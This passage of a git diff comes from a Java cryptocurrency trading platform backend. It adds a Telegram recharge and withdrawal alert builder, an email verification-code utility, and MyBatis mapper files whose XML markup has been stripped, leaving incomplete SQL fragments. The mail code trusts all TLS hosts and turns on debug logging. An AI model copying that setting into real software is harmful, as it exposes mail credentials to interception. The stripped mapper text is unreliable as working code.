sb.append("\uD83C\uDF16变动金额:").append(tAppAddressInfo.getUsdt().subtract(diffUsdt).stripTrailingZeros().toPlainString()).append("\n"); + sb.append("\uD83C\uDF15当前余额:").append(tAppAddressInfo.getUsdt().stripTrailingZeros().toPlainString()).append("\n"); + sb.append("⏰变动时间: ").append(formatter.format(tAppAddressInfo.getUpdateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0钱包地址:").append(tAppAddressInfo.getAddress()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96数据统计\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96").append("\n"); + sb.append("\n\n"); + sendMessage.setText(sb.toString()); + } + return sendMessage; + + } + + + public static SendMessage buildText(Integer code, TAppRecharge recharge, TWithdraw withdraw ) { + SendMessage sendMessage = new SendMessage(); + StringBuilder sb = new StringBuilder(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + + if(Objects.equals(RecordEnum.RECHARGE.getCode(), code)){ + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("⚠️⚠️⚠️有新的充值订单,请尽快审核⚠️⚠️⚠️").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDD94订单号:").append(recharge.getSerialId()).append("\n"); + sb.append("\uD83C\uDD94用户ID:").append(recharge.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF17充值地址:").append(recharge.getAddress()).append("\n"); + sb.append("\uD83C\uDF16充值金额:").append(recharge.getAmount().stripTrailingZeros().toPlainString()).append("\n"); + sb.append("⏰时间: ").append(formatter.format(recharge.getCreateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0币种:").append(recharge.getCoin().toUpperCase()).append("\n"); + sb.append("\n\n"); + } + if(Objects.equals(RecordEnum.WITHDRAW.getCode(), code)){ + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("⚠️⚠️⚠️有新的提现订单,请尽快审核⚠️⚠️⚠️").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDD94订单号:").append(withdraw.getSerialId()).append("\n"); + sb.append("\uD83C\uDD94用户ID:").append(withdraw.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF17钱包地址:").append(withdraw.getAddress()).append("\n"); + sb.append("\uD83C\uDF17收款地址:").append(withdraw.getToAdress()).append("\n"); + sb.append("\uD83C\uDF16提现金额:").append(withdraw.getAmount().stripTrailingZeros().toPlainString()).append("\n"); + sb.append("⏰时间: ").append(formatter.format(withdraw.getCreateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0币种:").append(withdraw.getCoin().toUpperCase()).append("\n"); + sb.append("\n\n"); + } + sb.append("\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96平台充提通知\uD83C\uDF96\uD83C\uDF96\uD83C\uDF96").append("\n"); + sb.append("\n\n"); + sendMessage.setText(sb.toString()); + + return sendMessage; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java b/ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java new file mode 100644 index 0000000..a8af74f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java @@ -0,0 +1,197 @@ +package com.ruoyi.util; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.EmailSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.impl.TAppUserServiceImpl; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.enums.UserCodeTypeEnum; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.common.utils.sms.SmsSenderUtil; +import com.sun.mail.util.MailSSLSocketFactory; +import freemarker.template.Configuration; +import freemarker.template.Template; +import org.springframework.mail.javamail.JavaMailSenderImpl; +import org.springframework.mail.javamail.MimeMessageHelper; +import org.springframework.ui.freemarker.FreeMarkerTemplateUtils; + +import javax.mail.*; +import javax.mail.internet.*; +import java.util.HashMap; +import java.util.Map; +import java.util.Properties; +import java.util.concurrent.TimeUnit; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + + +/** + * @packageName:com.zebra.common.utils + * @className:EmailUtils + * @description:邮箱工具类 + * @version:1.0.0 + * @author:xuanyihun + * @createDate:2022-05-06 11:07 + */ +public class EmailUtils { + + + /** + * @description 验证邮箱 + * @param email(邮箱) + * @version 1.0.0 + * @author xuanyihun + * @createDate 2022-05-06 11:23 + * @return boolean + */ + public static boolean checkEmail(String email) { + + boolean flag = false; + try { + String check = "^([a-z0-9A-Z]+[-|_|\\.]?)+[a-z0-9A-Z]@([a-z0-9A-Z]+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,}$"; + Pattern regex = Pattern.compile(check); + Matcher matcher = regex.matcher(email); + flag = matcher.matches(); + } catch (Exception exception) { + flag = false; + } + return flag; + + } + /** + * 组成邮箱发送公共方法 + * @return + */ +// public static void formMail(String email,String type) { +// RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); +// SettingService settingService = SpringContextUtil.getBean(SettingService.class); +// TAppUserServiceImpl bean = SpringContextUtil.getBean(TAppUserServiceImpl.class); +// String randomCode = String.valueOf(SmsSenderUtil.getRandomNumber(100000, 999999)); +// Setting setting = settingService.get(SettingEnum.EMAIL_SETTING.name()); +// EmailSetting emailSetting = JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class); +// String appName = emailSetting.getMailAppName(); +// String host = emailSetting.getMailHost(); +// int port = Integer.parseInt(emailSetting.getMailPort()); +// String username = emailSetting.getMailUsername(); +// String password = emailSetting.getMailPassword(); +// String templateCode = emailSetting.getMailTemplate(); +// JavaMailSenderImpl jms = new JavaMailSenderImpl(); +// jms.setHost(host); +// jms.setPort(port); +// jms.setUsername(username); +// jms.setPassword(password); +// jms.setDefaultEncoding("Utf-8"); +// Properties p = new Properties(); +// p.setProperty("mail.smtp.auth", "true"); +// p.setProperty("mail.smtp.starttls.enable", "true"); +// p.setProperty("mail.smtp.starttls.required", "true"); +// p.setProperty("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); +// p.setProperty("mail.smtp.ssl.enable", "true"); +// jms.setJavaMailProperties(p); +// MimeMessage mimeMessage = jms.createMimeMessage(); +// MimeMessageHelper helper = null; +// try { +// helper = new MimeMessageHelper(mimeMessage, true); +// helper.setFrom(username); +// helper.setTo(email); +// helper.setSubject(appName); +// Map model = new HashMap<>(16); +// model.put("code", randomCode); +// Configuration cfg = new Configuration(Configuration.VERSION_2_3_26); +// cfg.setClassForTemplateLoading(bean.getClass(), "/templates"); +// Template template = cfg.getTemplate(templateCode); +// String html = FreeMarkerTemplateUtils.processTemplateIntoString(template, model); +// helper.setText(html, true); +// //发送邮件 +// jms.send(mimeMessage); +// //绑定邮箱 +// } catch (Exception e) { +// e.printStackTrace(); +// } +// redisCache.setCacheObject(CachePrefix.EMAIL_CODE.getPrefix()+ UserCodeTypeEnum.valueOf(type)+ email, randomCode, CacheConstants.REGISTER_CODE_TIME, TimeUnit.SECONDS); +// +// } + + + public static void formMail(String email,String type) { + RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); + SettingService settingService = SpringContextUtil.getBean(SettingService.class); + String randomCode = String.valueOf(SmsSenderUtil.getRandomNumber(100000, 999999)); + TAppUserServiceImpl bean = SpringContextUtil.getBean(TAppUserServiceImpl.class); + Setting setting = settingService.get(SettingEnum.EMAIL_SETTING.name()); + EmailSetting emailSetting = JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class); + String appName = emailSetting.getMailAppName(); + String host = emailSetting.getMailHost(); + String port = emailSetting.getMailPort(); + String username = emailSetting.getMailUsername(); + String password = emailSetting.getMailPassword(); + String templateCode = emailSetting.getMailTemplate(); + // 1.创建连接对象javax.mail.Session + // 2.创建邮件对象 javax.mail.Message + // 3.发送一封激活邮件 + Properties properties = System.getProperties();// 获取系统属性 + + properties.setProperty("mail.smtp.host", host);// 设置邮件服务器 + properties.setProperty("mail.transport.protocol","smtp"); + properties.setProperty("mail.smtp.port", port); //不需要 默认端口 + properties.setProperty("mail.smtp.auth", "true");// 打开认证 + // properties.put("mail.smtp.socketFactory", "javax.net.ssl.SSLSocketFactory"); + try { + // QQ邮箱需要下面这段代码,163邮箱不需要 + MailSSLSocketFactory sf = new MailSSLSocketFactory(); + sf.setTrustAllHosts(true); + properties.put("mail.smtp.ssl.enable", "true"); + properties.put("mail.smtp.ssl.socketFactory", sf); + properties.put("mail.smtp.ssl.protocols", "TLSv1.2"); //加上这句解决问题 + + // 1.获取默认session对象 + Session session = Session.getDefaultInstance(properties, new Authenticator() { + @Override + public PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(username, password); + } + }); + + session.setDebug(true); + + //2、通过session得到transport对象 + Transport transport = session.getTransport(); + //3、使用用户名和授权码连上邮件服务器 + transport.connect(host,username,password); + + + // 4.创建邮件对象 + Message message = new MimeMessage(session); + // 4.1设置发件人 + message.setFrom(new InternetAddress(username)); + // 4.2设置接收人 + message.addRecipient(Message.RecipientType.TO, new InternetAddress(email)); + // 4.3设置邮件主题 + String title = appName; + message.setSubject(title); + + Map model = new HashMap<>(16); + model.put("code", randomCode); + Configuration cfg = new Configuration(Configuration.VERSION_2_3_26); + cfg.setClassForTemplateLoading(bean.getClass(), "/templates"); + Template template = cfg.getTemplate(templateCode); + String html = FreeMarkerTemplateUtils.processTemplateIntoString(template, model); + // 2.4设置邮件内容 + message.setContent(html, "text/html;charset=UTF-8"); + //5、发送邮件 + transport.sendMessage(message,message.getAllRecipients()); + //6、关闭连接 + transport.close(); + System.out.println("邮件成功发送!"); + } catch (Exception e) { + e.printStackTrace(); + } + //绑定邮箱 + redisCache.setCacheObject(CachePrefix.EMAIL_CODE.getPrefix()+ UserCodeTypeEnum.valueOf(type)+ email, randomCode, CacheConstants.REGISTER_CODE_TIME, TimeUnit.SECONDS); + + } +} diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml new file mode 100644 index 0000000..e344b0e --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml @@ -0,0 +1,116 @@ + + + + + + + + + + + + + + + + + + + + + + select id, totle_amount, end_time, amount, type, create_by, create_time,user_id, update_by, update_time,status, remark, search_value from t_defi_activity + + + + + + + + insert into t_defi_activity + + totle_amount, + end_time, + amount, + type, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + status, + user_id, + + + + #{totleAmount}, + #{endTime}, + #{amount}, + #{type}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{status}, + #{userId}, + + + + + + update t_defi_activity + + totle_amount = #{totleAmount}, + end_time = #{endTime}, + amount = #{amount}, + type = #{type}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + status = #{status}, + user_id = #{userId}, + + + where id = #{id} + + + + delete from t_defi_activity where id = #{id} + + + + delete from t_defi_activity where id in + + #{id} + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml new file mode 100644 index 0000000..464da9e --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + select id, amount, totle_amount, rate, create_by, create_time, update_by, update_time, remark, search_value ,user_id from t_defi_order + + + + + + + + insert into t_defi_order + + amount, + totle_amount, + rate, + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + search_value, + + + #{amount}, + #{totleAmount}, + #{rate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{searchValue}, + + + + + update t_defi_order + + amount = #{amount}, + totle_amount = #{totleAmount}, + rate = #{rate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_defi_order where id = #{id} + + + + delete from t_defi_order where id in + + #{id} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml new file mode 100644 index 0000000..343ec49 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml @@ -0,0 +1,103 @@ + + + + + + + + + + + + + + + + + + + select id, min_amount, max_amount, rate, create_by, create_time, update_by, update_time, remark, search_value from t_defi_rate + + + + + + + + insert into t_defi_rate + + id, + min_amount, + max_amount, + rate, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + + + #{id}, + #{minAmount}, + #{maxAmount}, + #{rate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + + + + + update t_defi_rate + + min_amount = #{minAmount}, + max_amount = #{maxAmount}, + rate = #{rate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_defi_rate where id = #{id} + + + + delete from t_defi_rate where id in + + #{id} + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml new file mode 100644 index 0000000..83e0360 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + select id, market, symbol, slug, status ,logo, refer_coin, refer_market, proportion from t_kline_symbol + + + + + + + + insert into t_kline_symbol + + market, + symbol, + slug, + status, + logo, + refer_coin, + refer_market, + proportion, + + + #{market}, + #{symbol}, + #{slug}, + #{logo}, + #{referCoin}, + #{referMarket}, + #{proportion}, + + + + + update t_kline_symbol + + market = #{market}, + symbol = #{symbol}, + slug = #{slug}, + status = #{status}, + refer_coin = #{referCoin}, + refer_market = #{referMarket}, + proportion = #{proportion}, + + where id = #{id} + + + + delete from t_kline_symbol where id = #{id} + + + + delete from t_kline_symbol where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml new file mode 100644 index 0000000..4a485db --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + select id, on_off, recharge_pro, max_rebate, create_by, create_time, update_by, update_time from t_activity_recharge + + + + + + + + insert into t_activity_recharge + + on_off, + recharge_pro, + max_rebate, + create_by, + create_time, + update_by, + update_time, + + + #{onOff}, + #{rechargePro}, + #{maxRebate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + + + + + update t_activity_recharge + + on_off = #{onOff}, + recharge_pro = #{rechargePro}, + max_rebate = #{maxRebate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + + where id = #{id} + + + + delete from t_activity_recharge where id = #{id} + + + + delete from t_activity_recharge where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml new file mode 100644 index 0000000..a093b24 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml @@ -0,0 +1,156 @@ + + + + + + + + + + + + + + + + + + + + + + select id, type, amount, coin_type, from_id, user_id, create_by, create_time, update_by, update_time, status, login_name, serial_id from t_agent_activity_info + + + + + + + + + + + + + insert into t_agent_activity_info + + type, + amount, + coin_type, + from_id, + user_id, + create_by, + create_time, + update_by, + update_time, + status, + login_name, + serial_id, + + + #{type}, + #{amount}, + #{coinType}, + #{fromId}, + #{userId}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{status}, + #{loginName}, + #{serialId}, + + + + + update t_agent_activity_info + + type = #{type}, + amount = #{amount}, + coin_type = #{coinType}, + from_id = #{fromId}, + user_id = #{userId}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + status = #{status}, + login_name = #{loginName}, + serial_id = #{serialId}, + + where id = #{id} + + + + delete from t_agent_activity_info where id = #{id} + + + + delete from t_agent_activity_info where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml new file mode 100644 index 0000000..24866e4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select user_id, address, status,wallet_type, usdt_allowed, usdc_allowed,usdc,usdt, eth, btc, trx,allowed_notice, usdt_monitor, create_by, create_time, update_by, update_time, remark, search_value from t_app_address_info + + + + + + + + insert into t_app_address_info + + user_id, + address, + wallet_type, + usdt_allowed, + usdc_allowed, + usdt, + usdc, + eth, + btc, + allowed_notice, + usdt_monitor, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + trx, + status, + + + #{userId}, + #{address}, + #{walletType}, + #{usdtAllowed}, + #{usdcAllowed}, + #{usdt}, + #{usdc}, + #{eth}, + #{btc}, + #{allowedNotice}, + #{usdtMonitor}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{trx}, + #{status}, + + + + + update t_app_address_info + + address = #{address}, + wallet_type = #{walletType}, + usdt_allowed = #{usdtAllowed}, + usdc_allowed = #{usdcAllowed}, + usdt = #{usdt}, + usdc = #{usdc}, + eth = #{eth}, + btc = #{btc}, + trx = #{trx}, + allowed_notice = #{allowedNotice}, + usdt_monitor = #{usdtMonitor}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + trx = #{trx}, + status=#{status}, + + where user_id = #{userId} + + + + delete from t_app_address_info where user_id = #{userId} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml new file mode 100644 index 0000000..414b116 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml @@ -0,0 +1,210 @@ + + + + + + + + + + + + + + + + + + + + + + select user_id, adress, symbol, amout, occupied_amount, available_amount, type, create_by, create_time, update_by, update_time, remark, search_value from t_app_asset + + + + + + + + insert into t_app_asset + + user_id, + adress, + symbol, + amout, + occupied_amount, + available_amount, + type, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + + + #{userId}, + #{adress}, + #{symbol}, + #{amout}, + #{occupiedAmount}, + #{availableAmount}, + #{type}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + + + + + update t_app_asset + + adress = #{adress}, + amout = #{amout}, + occupied_amount = #{occupiedAmount}, + available_amount = #{availableAmount}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + update t_app_asset + + + amout = #{amout}, + + + occupied_amount=#{occupiedAmount}, + + + available_amount=#{availableAmount}, + + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + delete from t_app_asset where user_id = #{userId} + + + + delete from t_app_asset where user_id in + + #{userId} + + + + + update t_app_asset + + available_amount = available_amount - #{money}, + occupied_amount= occupied_amount + #{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + update t_app_asset + + amout = amout - #{money}, + available_amount=available_amount-#{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + update t_app_asset + + amout = amout + #{money}, + available_amount=available_amount + #{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + + update t_app_asset + + available_amount = available_amount - #{money}, + occupied_amount= occupied_amount + #{money}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + update t_app_asset + + amout = amout - #{money}, + occupied_amount= occupied_amount - #{subtract}, + available_amount= available_amount +#{availableAmount}, + update_time = now() + + where user_id = #{userId} and symbol =#{symbol} and type=#{type} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml new file mode 100644 index 0000000..77d0318 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml @@ -0,0 +1,100 @@ + + + + + + + + + + + + + + + + + + + + select id, user_id, title, content, type, status, opertor_id, create_time, update_time, search_value, del_flag from t_app_mail + + + + + + + + insert into t_app_mail + + user_id, + title, + content, + type, + status, + opertor_id, + create_time, + update_time, + search_value, + del_flag, + + + #{userId}, + #{title}, + #{content}, + #{type}, + #{status}, + #{opertorId}, + #{createTime}, + #{updateTime}, + #{searchValue}, + #{delFlag}, + + + + + update t_app_mail + + user_id = #{userId}, + title = #{title}, + content = #{content}, + type = #{type}, + status = #{status}, + opertor_id = #{opertorId}, + create_time = #{createTime}, + update_time = #{updateTime}, + search_value = #{searchValue}, + del_flag = #{delFlag}, + + where id = #{id} + + + + update t_app_mail set del_flag = '2' where id = #{id} + + + + update t_app_mail set del_flag = '2' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml new file mode 100644 index 0000000..d412cd9 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml @@ -0,0 +1,445 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, create_by, create_time, update_by, update_time, remark, user_id, username, amount, bonus, + status, serial_id, tx_id, type, search_value, address, app_parent_ids, admin_parent_ids, coin, to_address, + block_time, host, + real_amount, file_name, recharge_remark, notice_flag,order_type from t_app_recharge + + + + + + + + + + + + insert into t_app_recharge + + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + username, + amount, + bonus, + status, + serial_id, + tx_id, + type, + search_value, + address, + app_parent_ids, + admin_parent_ids, + coin, + to_address, + block_time, + host, + real_amount, + file_name, + recharge_remark, + notice_flag, + order_type, + + + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{username}, + #{amount}, + #{bonus}, + #{status}, + #{serialId}, + #{txId}, + #{type}, + #{searchValue}, + #{address}, + #{appParentIds}, + #{adminParentIds}, + #{coin}, + #{toAddress}, + #{blockTime}, + #{host}, + #{realAmount}, + #{fileName}, + #{rechargeRemark}, + #{noticeFlag}, + #{orderType}, + + + + + update t_app_recharge + + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + user_id = #{userId}, + username = #{username}, + amount = #{amount}, + bonus = #{bonus}, + status = #{status}, + serial_id = #{serialId}, + tx_id = #{txId}, + type = #{type}, + search_value = #{searchValue}, + address = #{address}, + app_parent_ids = #{appParentIds}, + admin_parent_ids = #{adminParentIds}, + coin = #{coin}, + to_address = #{toAddress}, + block_time = #{blockTime}, + host = #{host}, + real_amount = #{realAmount}, + file_name = #{fileName}, + recharge_remark = #{rechargeRemark}, + notice_flag = #{noticeFlag}, + order_type = #{orderType}, + + where id = #{id} + + + + update t_app_recharge + + status = #{status}, + update_time = sysdate(), + update_by =#{updateBy}, + remark=#{remark}, + real_amount=#{realAmount}, + recharge_remark=#{rechargeRemark} + + where id = #{id} + + + + delete from t_app_recharge where id = #{id} + + + + delete from t_app_recharge where id in + + #{id} + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml new file mode 100644 index 0000000..dc687d2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, user_id, real_name, id_card, front_url, country, card_type, handel_url, back_url, user_tard_pwd, create_by, create_time, update_by, update_time, remark, search_value, audit_status_primary, audit_status_advanced, credits, user_recharge_address, win_num, lose_num from t_app_user_detail + + + + + + + + + + + insert into t_app_user_detail + + id, + user_id, + real_name, + id_card, + front_url, + country, + card_type, + handel_url, + back_url, + user_tard_pwd, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + audit_status_primary, + audit_status_advanced, + credits, + user_recharge_address, + win_num, + lose_num, + + + #{id}, + #{userId}, + #{realName}, + #{idCard}, + #{frontUrl}, + #{country}, + #{cardType}, + #{handelUrl}, + #{backUrl}, + #{userTardPwd}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{auditStatusPrimary}, + #{auditStatusAdvanced}, + #{credits}, + #{userRechargeAddress}, + #{winNum}, + #{loseNum}, + + + + + update t_app_user_detail + + user_id = #{userId}, + real_name = #{realName}, + id_card = #{idCard}, + front_url = #{frontUrl}, + country = #{country}, + card_type = #{cardType}, + handel_url = #{handelUrl}, + back_url = #{backUrl}, + user_tard_pwd = #{userTardPwd}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + audit_status_primary = #{auditStatusPrimary}, + audit_status_advanced = #{auditStatusAdvanced}, + credits = #{credits}, + user_recharge_address = #{userRechargeAddress}, + win_num = #{winNum}, + lose_num = #{loseNum}, + operate_time = #{operateTime}, + + where id = #{id} + + + + UPDATE t_app_user_detail + SET audit_status_primary = #{auditStatusPrimary}, audit_status_advanced = #{auditStatusAdvanced} + WHERE id = #{id} + + + + delete from t_app_user_detail where id = #{id} + + + + delete from t_app_user_detail where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml new file mode 100644 index 0000000..56c4a07 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml @@ -0,0 +1,322 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select user_id, login_name, login_password, phone, is_test, address, wallet_type, status, totle_amont, buff, app_parent_ids, active_code, register_ip, host, admin_parent_ids, email, level, is_freeze, create_by, create_time, update_by, update_time, remark, search_value, is_black, recharge_amont from t_app_user + + + + + + + + + + + + + + insert into t_app_user + + login_name, + login_password, + phone, + is_test, + address, + wallet_type, + status, + totle_amont, + buff, + app_parent_ids, + active_code, + register_ip, + host, + admin_parent_ids, + email, + level, + is_freeze, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + is_black, + recharge_amont, + + + #{loginName}, + #{loginPassword}, + #{phone}, + #{isTest}, + #{address}, + #{walletType}, + #{status}, + #{totleAmont}, + #{buff}, + #{appParentIds}, + #{activeCode}, + #{registerIp}, + #{host}, + #{adminParentIds}, + #{email}, + #{level}, + #{isFreeze}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{isBlack}, + #{rechargeAmont}, + + + + + update t_app_user + + login_name = #{loginName}, + login_password = #{loginPassword}, + phone = #{phone}, + is_test = #{isTest}, + address = #{address}, + wallet_type = #{walletType}, + status = #{status}, + totle_amont = #{totleAmont}, + buff = #{buff}, + app_parent_ids = #{appParentIds}, + active_code = #{activeCode}, + register_ip = #{registerIp}, + host = #{host}, + admin_parent_ids = #{adminParentIds}, + email = #{email}, + level = #{level}, + is_freeze = #{isFreeze}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + is_black = #{isBlack}, + recharge_amont = #{rechargeAmont}, + + where user_id = #{userId} + + + + delete from t_app_user where user_id = #{userId} + + + + delete from t_app_user where user_id in + + #{userId} + + + + update t_app_user set admin_parent_ids = '' where find_in_set(#{adminUserId},admin_parent_ids) + + + update t_app_user set admin_parent_ids = #{adminParentIds} where user_id = #{appUserId} + + + update t_app_user set totle_amont = #{totleAmont} where user_id = #{userId} + + + update t_app_user set recharge_amont = #{rechargeAmont} where user_id = #{userId} + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml new file mode 100644 index 0000000..2651210 --- /dev/null +++ 